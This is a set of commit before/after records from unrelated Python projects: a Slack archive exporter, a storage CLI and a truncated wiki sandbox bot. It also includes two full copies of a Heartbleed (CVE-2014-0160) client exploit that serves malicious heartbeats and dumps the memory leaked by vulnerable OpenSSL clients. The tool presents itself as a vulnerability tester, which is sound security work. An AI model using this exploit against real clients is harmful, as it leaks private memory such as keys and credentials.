<commit_before>#!/usr/bin/env python

"""Archivist CLI

Usage:
  cli.py list
  cli.py invite <human_name> <bot_name>
  cli.py export <output_dir>
  cli.py kick <human_name> <bot_name> <channel>
  cli.py (-h | --help)
  cli.py --version

Options:
  -h --help     Show this screen.
  --version     Show version.

"""

import os
import json
import shutil
from glob import glob
from collections import defaultdict, OrderedDict
from datetime import datetime
import codecs
import re

from docopt import docopt
import pystache
import yaml
from slackclient import SlackClient
from markdown import markdown
from mdx_gfm import GithubFlavoredMarkdownExtension

special_pat = re.compile(r"<(.*?)>")

def format_special(x, members, channels):
    xs = x.split('|', 2)
    if len(xs) == 2:
        label = xs[1]
    else:
        label = xs[0]
    if x[0] == '#':
        return '#' + channels[xs[0][1:]]['name']
    elif x[0] == '@':
        try:
            return '@' + members[xs[0][1:]]['name']
        except KeyError:
            return label
    elif x[0] == '!':
        return label
    else:
        return '[%s](%s)' % (label.replace('(', '%28').replace(')', '%29').replace(',', '%2C'),
                             xs[0].replace('(', '%28').replace(')', '%29').replace(',', '%2C'))

def format_text(text, members, channels):
    text = re.sub(special_pat, lambda x: format_special(x.group(1), members, channels), text)
    return markdown(text, extensions=[GithubFlavoredMarkdownExtension()])

def export(sc, config, arguments):
    channels = json.loads(sc.api_call('channels.list'))['channels']
    members = json.loads(sc.api_call('users.list'))['members']

    channels = {x['id']: x for x in channels}
    members = {x['id']: x for x in members}

    renderer = pystache.Renderer(search_dirs='template')
    out_dir = arguments['<output_dir>']
    shutil.copy2('template/global.css', out_dir)
    today = datetime.today().strftime('%Y-%m-%d')

    with codecs.open(os.path.join(out_dir, 'index.html'), 'wb', 'utf-8') as f:
        f.write(renderer.render_path('template/index.mustache', {'channels': channels.values(), }))

    for channel in channels.values():
        p = os.path.join(out_dir, channel['name'])
        try:
            os.makedirs(p)
        except OSError:
            pass

    for log in glob('logs/*.txt'):
        date, _ = os.path.splitext(os.path.basename(log))
        data = defaultdict(OrderedDict)
        with codecs.open(log, 'rb', 'utf-8') as f:
            for msg in f:
                msg = json.loads(msg)
                channel = msg['channel']
                if 'subtype' in msg:
                    if msg['subtype'] == 'message_changed':
                        msg = msg['message']
                        if msg['ts'] not in data[channels[channel]['name']]:
                            continue
                    elif msg['subtype'] == 'message_deleted':
                        try:
                            del data[channels[channel]['name']][msg['deleted_ts']]
                        except KeyError:
                            pass
                        continue
                    else:
                        continue
                if 'user' not in msg:
                    continue
                user_id = msg['user']
                if user_id == u'USLACKBOT':
                    continue
                msg['user'] = members[user_id]['name']
                msg['avatar'] = members[user_id]['profile']['image_48']
                msg['timestamp'] = datetime.fromtimestamp(float(msg['ts'])).strftime('%H:%M:%S')
                msg['text'] = format_text(msg['text'], members, channels)
                try:
                    data[channels[channel]['name']][msg['ts']] = msg
                except KeyError as e:
                    print e

        channel_names = [{'name': name} for name in data.keys()]

        for channel_name, msgs in data.iteritems():
            with codecs.open(os.path.join(out_dir, channel_name, date) + '.html', 'wb', 'utf-8') as f:
                f.write(renderer.render_path('template/day.mustache', {'active_channel': channel_name,
                                                                       'channels': channel_names,
                                                                       'messages': msgs.values(),
                                                                       'date': date}))

        if date < today:
            shutil.move(log, os.path.join('backup/clojurians-log', os.path.basename(log)))

    for channel in channels.values():
        p = os.path.join(out_dir, channel['name'])
        dates = []
        g = glob(os.path.join(p, '????-??-??.html'))
        g.sort()
        for html in g:
            date, _ = os.path.splitext(os.path.basename(html))
            dates.append({'date': date})
        with codecs.open(os.path.join(p, 'index.html'), 'wb', 'utf-8') as f:
            f.write(renderer.render_path('template/channel-index.mustache', {'dates': dates,
                                                                             'active_channel': channel['name']}))

def get_human_tools(sc, config, arguments):
    channels = json.loads(sc.api_call('channels.list'))['channels']
    members = json.loads(sc.api_call('users.list'))['members']

    bot_name = arguments['<bot_name>']
    human_name = arguments['<human_name>']
    bot_id = None
    human_id = None

    for member in members:
        if member['name'] == bot_name:
            bot_id = member['id']
        elif member['name'] == human_name:
            human_id = member['id']
        if bot_id and human_id:
            break

    if bot_id is None:
        raise Exception('Bot %s is not found.' % bot_name)
    if human_id is None:
        raise Exception('Human %s is not found.' % human_name)

    return channels, members, human_id, bot_id

def invite(sc, config, arguments):
    channels, members, human_id, bot_id = get_human_tools(sc, config, arguments)
    human = SlackClient(config['HUMAN_SLACK_TOKEN'])

    for channel in channels:
        print '>>>', channel['name']

        if channel['name'] in config['IGNORE_CHANNELS']:
            print 'channel ignored'
            continue

        if channel['is_archived']:
            print "is archived"
            continue

        chan_id = channel['id']
        is_human_in_chan = False
        is_bot_in_chan = False

        for member in json.loads(sc.api_call('channels.info', channel=chan_id))['channel']['members']:
            if member == human_id:
                is_human_in_chan = True
            elif member == bot_id:
                is_bot_in_chan = True
                break

        if is_bot_in_chan:
            print "already in chan"
            continue

        if not is_human_in_chan:
            print "join"
            human.api_call('channels.join', name=channel['name'])

        print human.api_call('channels.invite', channel=chan_id, user=bot_id)

        if not is_human_in_chan:
            print "leave"
            human.api_call('channels.leave', channel=chan_id)

def list_channels(sc):
    print ', '.join([c['name'] for c in json.loads(sc.api_call('channels.list'))['channels']])

def kick(sc, config, arguments):
    human = SlackClient(config['HUMAN_SLACK_TOKEN'])
    channels, members, human_id, bot_id = get_human_tools(sc, config, arguments)

    for channel in channels:
        if channel['name'] == arguments['<channel>']:
            is_human_in_chan = False
            is_bot_in_chan = False

            for member in json.loads(sc.api_call('channels.info', channel=channel['id']))['channel']['members']:
                if member == human_id:
                    is_human_in_chan = True
                elif member == bot_id:
                    is_bot_in_chan = True

            if not is_bot_in_chan:
                print "already not in chan"
                continue

            if not is_human_in_chan:
                print "join"
                human.api_call('channels.join', name=channel['name'])

            print human.api_call('channels.kick', channel=channel['id'], user=bot_id)

            if not is_human_in_chan:
                print "leave"
                human.api_call('channels.leave', channel=channel['id'])

            break

if __name__ == "__main__":
    arguments = docopt(__doc__, version='Slack Archivist v0.1')
    config = yaml.load(file('rtmbot.conf', 'r'))
    sc = SlackClient(config['SLACK_TOKEN'])
    if arguments['list']:
        list_channels(sc)
    elif arguments['invite']:
        invite(sc, config, arguments)
    elif arguments['export']:
        export(sc, config, arguments)
    elif arguments['kick']:
        kick(sc, config, arguments)
<commit_msg>enable fileshare messages<commit_after>#!/usr/bin/env python

"""Archivist CLI

Usage:
  cli.py list
  cli.py invite <human_name> <bot_name>
  cli.py export <output_dir>
  cli.py kick <human_name> <bot_name> <channel>
  cli.py (-h | --help)
  cli.py --version

Options:
  -h --help     Show this screen.
  --version     Show version.

"""

import os
import json
import shutil
from glob import glob
from collections import defaultdict, OrderedDict
from datetime import datetime
import codecs
import re

from docopt import docopt
import pystache
import yaml
from slackclient import SlackClient
from markdown import markdown
from mdx_gfm import GithubFlavoredMarkdownExtension

special_pat = re.compile(r"<(.*?)>")

def format_special(x, members, channels):
    xs = x.split('|', 2)
    if len(xs) == 2:
        label = xs[1]
    else:
        label = xs[0]
    if x[0] == '#':
        return '#' + channels[xs[0][1:]]['name']
    elif x[0] == '@':
        try:
            return '@' + members[xs[0][1:]]['name']
        except KeyError:
            return label
    elif x[0] == '!':
        return label
    else:
        return '[%s](%s)' % (label.replace('(', '%28').replace(')', '%29').replace(',', '%2C'),
                             xs[0].replace('(', '%28').replace(')', '%29').replace(',', '%2C'))

def format_text(text, members, channels):
    text = re.sub(special_pat, lambda x: format_special(x.group(1), members, channels), text)
    return markdown(text, extensions=[GithubFlavoredMarkdownExtension()])

def export(sc, config, arguments):
    channels = json.loads(sc.api_call('channels.list'))['channels']
    members = json.loads(sc.api_call('users.list'))['members']

    channels = {x['id']: x for x in channels}
    members = {x['id']: x for x in members}

    renderer = pystache.Renderer(search_dirs='template')
    out_dir = arguments['<output_dir>']
    shutil.copy2('template/global.css', out_dir)
    today = datetime.today().strftime('%Y-%m-%d')

    with codecs.open(os.path.join(out_dir, 'index.html'), 'wb', 'utf-8') as f:
        f.write(renderer.render_path('template/index.mustache', {'channels': channels.values(), }))

    for channel in channels.values():
        p = os.path.join(out_dir, channel['name'])
        try:
            os.makedirs(p)
        except OSError:
            pass

    for log in glob('logs/*.txt'):
        date, _ = os.path.splitext(os.path.basename(log))
        data = defaultdict(OrderedDict)
        with codecs.open(log, 'rb', 'utf-8') as f:
            for msg in f:
                msg = json.loads(msg)
                channel = msg['channel']
                if 'subtype' in msg:
                    if msg['subtype'] == 'message_changed':
                        msg = msg['message']
                        if msg['ts'] not in data[channels[channel]['name']]:
                            continue
                    elif msg['subtype'] == 'message_deleted':
                        try:
                            del data[channels[channel]['name']][msg['deleted_ts']]
                        except KeyError:
                            pass
                        continue
                    elif msg['subtype'] == "file_share":
                        pass
                    else:
                        continue
                if 'user' not in msg:
                    continue
                user_id = msg['user']
                if user_id == u'USLACKBOT':
                    continue
                msg['user'] = members[user_id]['name']
                msg['avatar'] = members[user_id]['profile']['image_48']
                msg['timestamp'] = datetime.fromtimestamp(float(msg['ts'])).strftime('%H:%M:%S')
                msg['text'] = format_text(msg['text'], members, channels)
                try:
                    data[channels[channel]['name']][msg['ts']] = msg
                except KeyError as e:
                    print e

        channel_names = [{'name': name} for name in data.keys()]

        for channel_name, msgs in data.iteritems():
            with codecs.open(os.path.join(out_dir, channel_name, date) + '.html', 'wb', 'utf-8') as f:
                f.write(renderer.render_path('template/day.mustache', {'active_channel': channel_name,
                                                                       'channels': channel_names,
                                                                       'messages': msgs.values(),
                                                                       'date': date}))

        if date < today:
            shutil.move(log, os.path.join('backup/clojurians-log', os.path.basename(log)))

    for channel in channels.values():
        p = os.path.join(out_dir, channel['name'])
        dates = []
        g = glob(os.path.join(p, '????-??-??.html'))
        g.sort()
        for html in g:
            date, _ = os.path.splitext(os.path.basename(html))
            dates.append({'date': date})
        with codecs.open(os.path.join(p, 'index.html'), 'wb', 'utf-8') as f:
            f.write(renderer.render_path('template/channel-index.mustache', {'dates': dates,
                                                                             'active_channel': channel['name']}))

def get_human_tools(sc, config, arguments):
    channels = json.loads(sc.api_call('channels.list'))['channels']
    members = json.loads(sc.api_call('users.list'))['members']

    bot_name = arguments['<bot_name>']
    human_name = arguments['<human_name>']
    bot_id = None
    human_id = None

    for member in members:
        if member['name'] == bot_name:
            bot_id = member['id']
        elif member['name'] == human_name:
            human_id = member['id']
        if bot_id and human_id:
            break

    if bot_id is None:
        raise Exception('Bot %s is not found.' % bot_name)
    if human_id is None:
        raise Exception('Human %s is not found.' % human_name)

    return channels, members, human_id, bot_id

def invite(sc, config, arguments):
    channels, members, human_id, bot_id = get_human_tools(sc, config, arguments)
    human = SlackClient(config['HUMAN_SLACK_TOKEN'])

    for channel in channels:
        print '>>>', channel['name']

        if channel['name'] in config['IGNORE_CHANNELS']:
            print 'channel ignored'
            continue

        if channel['is_archived']:
            print "is archived"
            continue

        chan_id = channel['id']
        is_human_in_chan = False
        is_bot_in_chan = False

        for member in json.loads(sc.api_call('channels.info', channel=chan_id))['channel']['members']:
            if member == human_id:
                is_human_in_chan = True
            elif member == bot_id:
                is_bot_in_chan = True
                break

        if is_bot_in_chan:
            print "already in chan"
            continue

        if not is_human_in_chan:
            print "join"
            human.api_call('channels.join', name=channel['name'])

        print human.api_call('channels.invite', channel=chan_id, user=bot_id)

        if not is_human_in_chan:
            print "leave"
            human.api_call('channels.leave', channel=chan_id)

def list_channels(sc):
    print ', '.join([c['name'] for c in json.loads(sc.api_call('channels.list'))['channels']])

def kick(sc, config, arguments):
    human = SlackClient(config['HUMAN_SLACK_TOKEN'])
    channels, members, human_id, bot_id = get_human_tools(sc, config, arguments)

    for channel in channels:
        if channel['name'] == arguments['<channel>']:
            is_human_in_chan = False
            is_bot_in_chan = False

            for member in json.loads(sc.api_call('channels.info', channel=channel['id']))['channel']['members']:
                if member == human_id:
                    is_human_in_chan = True
                elif member == bot_id:
                    is_bot_in_chan = True

            if not is_bot_in_chan:
                print "already not in chan"
                continue

            if not is_human_in_chan:
                print "join"
                human.api_call('channels.join', name=channel['name'])

            print human.api_call('channels.kick', channel=channel['id'], user=bot_id)

            if not is_human_in_chan:
                print "leave"
                human.api_call('channels.leave', channel=channel['id'])

            break

if __name__ == "__main__":
    arguments = docopt(__doc__, version='Slack Archivist v0.1')
    config = yaml.load(file('rtmbot.conf', 'r'))
    sc = SlackClient(config['SLACK_TOKEN'])
    if arguments['list']:
        list_channels(sc)
    elif arguments['invite']:
        invite(sc, config, arguments)
    elif arguments['export']:
        export(sc, config, arguments)
    elif arguments['kick']:
        kick(sc, config, arguments)
<|endoftext|>


<commit_before>#!/usr/bin/env python
# Exploitation of CVE-2014-0160 Heartbeat for the client
# Author: Peter Wu <peter@lekensteyn.nl>

try:
    import socketserver
except:
    import SocketServer as socketserver
import socket
import sys
import struct
import select, time
from argparse import ArgumentParser

parser = ArgumentParser(description='Test clients for Heartbleed (CVE-2014-0160)')
parser.add_argument('-l', '--listen', default='',
        help='Host to listen on (default "%(default)s")')
parser.add_argument('-p', '--port', type=int, default=4433,
        help='TCP port to listen on (default %(default)d)')
parser.add_argument('-c', '--client', default='tls',
        choices=['tls', 'mysql'],
        help='Target client type (default %(default)s)')
parser.add_argument('-t', '--timeout', type=int, default=3,
        help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')
parser.add_argument('--skip-server', default=False, action='store_true',
        help='Skip ServerHello, immediately write Heartbeat request')
parser.add_argument('-x', '--count', type=int, default=1,
        help='Number of Hearbeats requests to be sent (default %(default)d)')

def make_hello(sslver, cipher):
    # Record
    data = '16 ' + sslver
    data += ' 00 31' # Record ength
    # Handshake
    data += ' 02 00'
    data += ' 00 2d' # Handshake length
    data += ' ' + sslver
    data += '''
    52 34 c6 6d 86 8d e8 40 97 da
    ee 7e 21 c4 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7
    95 8c 33 42 3f d5 00
    '''
    data += ' '.join('{:02x}'.format(c) for c in cipher)
    data += ' 00' # No compression
    data += ' 00 05' # Extensions length
    # Heartbeat extension
    data += ' 00 0f' # Heartbeat type
    data += ' 00 01' # Length
    data += ' 01'    # mode
    return bytearray.fromhex(data.replace('\n', ''))

def make_heartbeat(sslver):
    data = '18 ' + sslver
    data += ' 00 03'    # Length
    data += ' 01'       # Type: Request
    data += ' ff ff'    # Payload Length
    return bytearray.fromhex(data.replace('\n', ''))

def hexdump(data):
    allzeroes = b'\0' * 16
    zerolines = 0

    for i in range(0, len(data), 16):
        line = data[i:i+16]
        if line == allzeroes:
            zerolines += 1
            if zerolines == 2:
                print("*")
            if zerolines >= 2:
                continue

        print("{:04x}: {:47}  {}".format(i,
            ' '.join('{:02x}'.format(c) for c in line),
            ''.join(chr(c) if c >= 32 and c < 127 else '.' for c in line)))

class Failure(Exception):
    pass

class RequestHandler(socketserver.BaseRequestHandler):
    def handle(self):
        self.args = self.server.args
        self.sslver = '03 01' # default to TLSv1.0
        remote_addr, remote_port = self.request.getpeername()
        print("Connection from: {}:{}".format(remote_addr, remote_port))

        try:
            # Set timeout to prevent hang on clients that send nothing
            self.request.settimeout(2)
            prep_meth = 'prepare_' + self.args.client
            if hasattr(self, prep_meth):
                getattr(self, prep_meth)(self.request)
                print('Pre-TLS stage completed, continuing with handshake')

            if not self.args.skip_server:
                self.do_serverhello()

            for i in range(0, self.args.count):
                try:
                    self.do_evil()
                except OSError as e:
                    if i == 0: # First heartbeat?
                        print('Unable to send first heartbeat! ' + str(e))
                    else:
                        print('Unable to send more heartbeats, ' + str(e))
                    break
        except (Failure, OSError, socket.timeout) as e:
            print('Unable to check for vulnerability: ' + str(e))

        print('')

    def do_serverhello(self):
        # Read TLS record header
        content_type, ver, rec_len = self.recv_s('>BHH', 'TLS record')
        self.expect(content_type == 22, 'Expected Handshake type')
        # Session-ID length (1 byte) starts at offset 38
        self.expect(rec_len >= 39, 'Illegal handshake packet')

        # Read handshake
        hnd = self.request.recv(rec_len)
        self.expect(len(hnd) == rec_len, 'Unable to read handshake')
        hnd_type, len_high, len_low, ver = struct.unpack('>BBHH', hnd[:6])
        self.expect(hnd_type == 1, 'Expected Client Hello')
        # hnd[6:6+32] is Random
        off = 6 + 32
        sid_len, = struct.unpack('B', hnd[off:off+1])
        off += 1 + sid_len # Skip length and SID
        # Enough room for ciphers?
        self.expect(rec_len - off >= 4, 'Illegal handshake packet (2)')
        ciphers_len = struct.unpack("<H", hnd[off:off+2])
        off += 2
        # The first cipher is fine...
        cipher = bytearray(hnd[off:off+2])

        self.sslver = '{:02x} {:02x}'.format(ver >> 8, ver & 0xFF)

        # (1) Handshake: ServerHello
        self.request.sendall(make_hello(self.sslver, cipher))

        # (skip Certificate, etc.)

    def do_evil(self):
        # (2) HeartbeatRequest
        self.request.sendall(make_heartbeat(self.sslver))

        # (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent
        if not self.read_memory(self.request, self.args.timeout):
            print("Possibly not vulnerable")

    def read_memory(self, sock, timeout):
        end_time = time.time() + timeout
        buffer = bytearray()
        wanted_bytes = 0xffff

        while wanted_bytes > 0 and timeout > 0:
            rl, _, _ = select.select([sock], [], [], timeout)

            if not rl:
                break

            try:
                data = rl[0].recv(wanted_bytes)
            except OSError as e:
                if not len(buffer):
                    print('Did not receive heartbeat response! ' + str(e))
                break # Connection reset?

            if not data: # EOF
                break
            buffer += data
            wanted_bytes -= len(data)
            timeout = end_time - time.time()

        # Check for Alert (sent by NSS)
        alert = bytearray.fromhex('15 ' + self.sslver + ' 00 02')
        if len(buffer) == 7 and buffer[0:5] == alert and buffer[5] in (1, 2):
            lvl = 'Warning' if buffer[5] == 1 else 'Fatal'
            print('Got Alert, level=' + lvl + ', description=' + str(buffer[6]))
            print('Not vulnerable! (Heartbeats disabled or not OpenSSL)')
            return 7

        if len(buffer) > 0:
            print('Client returned {0} ({0:#x}) bytes'.format(len(buffer)))
            hexdump(buffer)
        return len(buffer) > 0

    def expect(self, cond, what):
        if not cond:
            raise Failure(what)

    def prepare_mysql(self, sock):
        # This was taken from a MariaDB client. For reference, see
        # https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
        greeting = '''
        56 00 00 00 0a 35 2e 35  2e 33 36 2d 4d 61 72 69
        61 44 42 2d 6c 6f 67 00  04 00 00 00 3d 3b 4e 57
        4c 54 44 35 00 ff ff 21  02 00 0f e0 15 00 00 00
        00 00 00 00 00 00 00 7c  36 33 3f 23 2e 5e 6d 2d
        34 5c 54 00 6d 79 73 71  6c 5f 6e 61 74 69 76 65
        5f 70 61 73 73 77 6f 72  64 00
        '''
        sock.sendall(bytearray.fromhex(greeting.replace('\n', '')))
        print("Server Greeting sent.")

        len_low, len_high, seqid, caps = self.recv_s('<BHBH', 'MySQL handshake')
        packet_len = (len_high << 8) | len_low
        self.expect(packet_len == 32, 'Expected SSLRequest length == 32')
        self.expect((caps & 0x800), 'Missing Client SSL support')

        print("Skipping {} packet bytes...".format(packet_len))
        # Skip remainder (minus 2 for caps) to prepare for SSL handshake
        sock.recv(packet_len - 2)

    def recv_s(self, struct_def, what):
        s = struct.Struct(struct_def)
        data = self.request.recv(s.size)
        msg = '{}: received only {}/{} bytes'.format(what, len(data), s.size)
        self.expect(len(data) == s.size, msg)
        return s.unpack(data)

class PacemakerServer(socketserver.TCPServer):
    def __init__(self, args):
        server_address = (args.listen, args.port)
        self.allow_reuse_address = True
        socketserver.TCPServer.__init__(self, server_address, RequestHandler)
        self.args = args

def serve(args):
    print('Listening on {}:{} for {} clients'
        .format(args.listen, args.port, args.client))
    server = PacemakerServer(args)
    server.serve_forever()

if __name__ == '__main__':
    args = parser.parse_args()
    serve(args)
<commit_msg>Python 2 compatibility<commit_after>#!/usr/bin/env python
# Exploitation of CVE-2014-0160 Heartbeat for the client
# Author: Peter Wu <peter@lekensteyn.nl>

try:
    import socketserver
except:
    import SocketServer as socketserver
import socket
import sys
import struct
import select, time
from argparse import ArgumentParser

parser = ArgumentParser(description='Test clients for Heartbleed (CVE-2014-0160)')
parser.add_argument('-l', '--listen', default='',
        help='Host to listen on (default "%(default)s")')
parser.add_argument('-p', '--port', type=int, default=4433,
        help='TCP port to listen on (default %(default)d)')
parser.add_argument('-c', '--client', default='tls',
        choices=['tls', 'mysql'],
        help='Target client type (default %(default)s)')
parser.add_argument('-t', '--timeout', type=int, default=3,
        help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')
parser.add_argument('--skip-server', default=False, action='store_true',
        help='Skip ServerHello, immediately write Heartbeat request')
parser.add_argument('-x', '--count', type=int, default=1,
        help='Number of Hearbeats requests to be sent (default %(default)d)')

def make_hello(sslver, cipher):
    # Record
    data = '16 ' + sslver
    data += ' 00 31' # Record ength
    # Handshake
    data += ' 02 00'
    data += ' 00 2d' # Handshake length
    data += ' ' + sslver
    data += '''
    52 34 c6 6d 86 8d e8 40 97 da
    ee 7e 21 c4 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7
    95 8c 33 42 3f d5 00
    '''
    data += ' '.join('{:02x}'.format(c) for c in cipher)
    data += ' 00' # No compression
    data += ' 00 05' # Extensions length
    # Heartbeat extension
    data += ' 00 0f' # Heartbeat type
    data += ' 00 01' # Length
    data += ' 01'    # mode
    return bytearray.fromhex(data.replace('\n', ''))

def make_heartbeat(sslver):
    data = '18 ' + sslver
    data += ' 00 03'    # Length
    data += ' 01'       # Type: Request
    data += ' ff ff'    # Payload Length
    return bytearray.fromhex(data.replace('\n', ''))

def hexdump(data):
    allzeroes = b'\0' * 16
    zerolines = 0

    for i in range(0, len(data), 16):
        line = data[i:i+16]
        if line == allzeroes:
            zerolines += 1
            if zerolines == 2:
                print("*")
            if zerolines >= 2:
                continue

        print("{:04x}: {:47}  {}".format(i,
            ' '.join('{:02x}'.format(c) for c in line),
            ''.join(chr(c) if c >= 32 and c < 127 else '.' for c in line)))

class Failure(Exception):
    pass

class RequestHandler(socketserver.BaseRequestHandler):
    def handle(self):
        self.args = self.server.args
        self.sslver = '03 01' # default to TLSv1.0
        remote_addr, remote_port = self.request.getpeername()
        print("Connection from: {}:{}".format(remote_addr, remote_port))

        try:
            # Set timeout to prevent hang on clients that send nothing
            self.request.settimeout(2)
            prep_meth = 'prepare_' + self.args.client
            if hasattr(self, prep_meth):
                getattr(self, prep_meth)(self.request)
                print('Pre-TLS stage completed, continuing with handshake')

            if not self.args.skip_server:
                self.do_serverhello()

            for i in range(0, self.args.count):
                try:
                    self.do_evil()
                except OSError as e:
                    if i == 0: # First heartbeat?
                        print('Unable to send first heartbeat! ' + str(e))
                    else:
                        print('Unable to send more heartbeats, ' + str(e))
                    break
        except (Failure, OSError, socket.timeout) as e:
            print('Unable to check for vulnerability: ' + str(e))

        print('')

    def do_serverhello(self):
        # Read TLS record header
        content_type, ver, rec_len = self.recv_s('>BHH', 'TLS record')
        self.expect(content_type == 22, 'Expected Handshake type')
        # Session-ID length (1 byte) starts at offset 38
        self.expect(rec_len >= 39, 'Illegal handshake packet')

        # Read handshake
        hnd = self.request.recv(rec_len)
        self.expect(len(hnd) == rec_len, 'Unable to read handshake')
        hnd_type, len_high, len_low, ver = struct.unpack('>BBHH', hnd[:6])
        self.expect(hnd_type == 1, 'Expected Client Hello')
        # hnd[6:6+32] is Random
        off = 6 + 32
        sid_len, = struct.unpack('B', hnd[off:off+1])
        off += 1 + sid_len # Skip length and SID
        # Enough room for ciphers?
        self.expect(rec_len - off >= 4, 'Illegal handshake packet (2)')
        ciphers_len = struct.unpack("<H", hnd[off:off+2])
        off += 2
        # The first cipher is fine...
        cipher = bytearray(hnd[off:off+2])

        self.sslver = '{:02x} {:02x}'.format(ver >> 8, ver & 0xFF)

        # (1) Handshake: ServerHello
        self.request.sendall(make_hello(self.sslver, cipher))

        # (skip Certificate, etc.)

    def do_evil(self):
        # (2) HeartbeatRequest
        self.request.sendall(make_heartbeat(self.sslver))

        # (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent
        if not self.read_memory(self.request, self.args.timeout):
            print("Possibly not vulnerable")

    def read_memory(self, sock, timeout):
        end_time = time.time() + timeout
        buffer = bytearray()
        wanted_bytes = 0xffff

        while wanted_bytes > 0 and timeout > 0:
            rl, _, _ = select.select([sock], [], [], timeout)

            if not rl:
                break

            try:
                data = rl[0].recv(wanted_bytes)
            except socket.error as e:
                if not len(buffer):
                    print('Did not receive heartbeat response! ' + str(e))
                break # Connection reset?

            if not data: # EOF
                break
            buffer += data
            wanted_bytes -= len(data)
            timeout = end_time - time.time()

        # Check for Alert (sent by NSS)
        alert = bytearray.fromhex('15 ' + self.sslver + ' 00 02')
        if len(buffer) == 7 and buffer[0:5] == alert and buffer[5] in (1, 2):
            lvl = 'Warning' if buffer[5] == 1 else 'Fatal'
            print('Got Alert, level=' + lvl + ', description=' + str(buffer[6]))
            print('Not vulnerable! (Heartbeats disabled or not OpenSSL)')
            return 7

        if len(buffer) > 0:
            print('Client returned {0} ({0:#x}) bytes'.format(len(buffer)))
            hexdump(buffer)
        return len(buffer) > 0

    def expect(self, cond, what):
        if not cond:
            raise Failure(what)

    def prepare_mysql(self, sock):
        # This was taken from a MariaDB client. For reference, see
        # https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
        greeting = '''
        56 00 00 00 0a 35 2e 35  2e 33 36 2d 4d 61 72 69
        61 44 42 2d 6c 6f 67 00  04 00 00 00 3d 3b 4e 57
        4c 54 44 35 00 ff ff 21  02 00 0f e0 15 00 00 00
        00 00 00 00 00 00 00 7c  36 33 3f 23 2e 5e 6d 2d
        34 5c 54 00 6d 79 73 71  6c 5f 6e 61 74 69 76 65
        5f 70 61 73 73 77 6f 72  64 00
        '''
        sock.sendall(bytearray.fromhex(greeting.replace('\n', '')))
        print("Server Greeting sent.")

        len_low, len_high, seqid, caps = self.recv_s('<BHBH', 'MySQL handshake')
        packet_len = (len_high << 8) | len_low
        self.expect(packet_len == 32, 'Expected SSLRequest length == 32')
        self.expect((caps & 0x800), 'Missing Client SSL support')

        print("Skipping {} packet bytes...".format(packet_len))
        # Skip remainder (minus 2 for caps) to prepare for SSL handshake
        sock.recv(packet_len - 2)

    def recv_s(self, struct_def, what):
        s = struct.Struct(struct_def)
        data = self.request.recv(s.size)
        msg = '{}: received only {}/{} bytes'.format(what, len(data), s.size)
        self.expect(len(data) == s.size, msg)
        return s.unpack(data)

class PacemakerServer(socketserver.TCPServer):
    def __init__(self, args):
        server_address = (args.listen, args.port)
        self.allow_reuse_address = True
        socketserver.TCPServer.__init__(self, server_address, RequestHandler)
        self.args = args

def serve(args):
    print('Listening on {}:{} for {} clients'
        .format(args.listen, args.port, args.client))
    server = PacemakerServer(args)
    server.serve_forever()

if __name__ == '__main__':
    args = parser.parse_args()
    serve(args)
<|endoftext|>


<commit_before>import argparse
import os
import sys

ds = None
parser = argparse.ArgumentParser(prog='nom', description='Simple storage app')

def cli_datastruct(dict):
	global ds
	ds = dict
	def cli_definer(name):
		def cli_decorator(fn):
			# wrapper would go here
			# print ('adding cli function ', fn)
			dict[name] = fn
			return fn
		return cli_decorator
	return cli_definer

# FIXME this might be an abuse the type check for argparse
def file_check(filename):
	if not os.path.exists(filename):
		msg = 'invalid filename ' + filename
		raise argparse.ArgumentTypeError(msg)
	if os.path.isdir(filename):
		msg = "can't operate on directories " + filename
		raise argparse.ArgumentTypeError(msg)
	return filename

def dispatch(cfg):
	sub = parser.add_subparsers(help='sub-command help')
	for fnName, fn in ds.items():
		fp = sub.add_parser(fnName)
		fp.set_defaults(func=fn)

	parser.add_argument('filenames', type=file_check, nargs="+")
	args = parser.parse_args()

	func = args.func
	for filename in args.filenames:
		func(filename, cfg)

<commit_msg>Moved filenames arg to each subcommand<commit_after>import argparse
import os
import sys

ds = None
parser = argparse.ArgumentParser(prog='nom', description='Simple storage app')

def cli_datastruct(dict):
	global ds
	ds = dict
	def cli_definer(name):
		def cli_decorator(fn):
			# wrapper would go here
			# print ('adding cli function ', fn)
			dict[name] = fn
			return fn
		return cli_decorator
	return cli_definer

# FIXME this might be an abuse the type check for argparse
def file_check(filename):
	if not os.path.exists(filename):
		msg = 'invalid filename ' + filename
		raise argparse.ArgumentTypeError(msg)
	if os.path.isdir(filename):
		msg = "can't operate on directories " + filename
		raise argparse.ArgumentTypeError(msg)
	return filename

def dispatch(cfg):
	sub = parser.add_subparsers(help='sub-command help')
	for fnName, fn in ds.items():
		fp = sub.add_parser(fnName)
		fp.set_defaults(func=fn)
		# add filesnames to each sub argument
		# currently this is needed by each command
		fp.add_argument('filenames', type=file_check, nargs="+")

	args = parser.parse_args()
	func = args.func
	for filename in args.filenames:
		func(filename, cfg)

<|endoftext|>


<commit_before># -*- coding: utf-8 -*-
#
# This work by Hazard-SJ ( https://github.com/HazardSJ ) is licensed under a
# Creative Commons Attribution-ShareAlike 4.0 International License ( http://creativecommons.org/licenses/by-sa/4.0/ ).

import sys
from re import findall
from datetime import datetime
from time import sleep

import pywikibot

class SandBot(object):
    def __init__(self, db_name):
        self.load_config()
        self.db_name = db_name
        self.site = self.config[db_name]["site"]
        self.site.login()
        self.edit_summary = pywikibot.i18n.twtranslate(self.site.language(), "clean_sandbox-cleaned")
        self.sandbots = self.config[db_name]["sandbots"]
        if self.config[db_name]["dotask"]:
            self.do_task_page = pywikibot.Page(self.site, self.config[db_name]["dotask"])
        else:
            self.do_task_page = None
        self.delay = 5

    def load_config(self):
        self.config = {
            "commonswiki": {
                "site": pywikibot.Site("commons", "commons"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot", "O (bot)"],
                "sandboxes": {"Project:Sandbox": "general"},
                "groups": {"general": "{{Sandbox}}\n<!-- Please edit only below this line. -->"}
            },
            "enwiki": {
                "site": pywikibot.Site("en", "wikipedia"),
                "dotask": "User:Hazard-Bot/DoTask/SandBot",
